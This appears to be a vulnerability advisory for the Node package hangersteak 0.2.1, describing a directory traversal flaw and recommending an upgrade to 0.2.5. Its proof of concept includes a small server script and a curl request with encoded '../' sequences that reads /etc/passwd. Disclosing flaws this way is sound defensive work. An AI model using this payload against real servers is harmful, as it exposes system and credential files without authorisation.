hangersteak@0.2.1 vulnerabilities

hangersteak is a Node static file web server

Affected versions of this package are vulnerable to Directory Traversal through the url which doesn't verify the file is from the root directory path.

PoC

1. create index.js:

const http = require('http')
const hangersteak = require('hangersteak')
const server = http.createServer((req, res) => { hangersteak(req, res) })
server.listen(3006)

2. Start the application: nodejs index.js
3. curl "http://localhost:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

Upgrade hangersteak to version 0.2.5 or higher.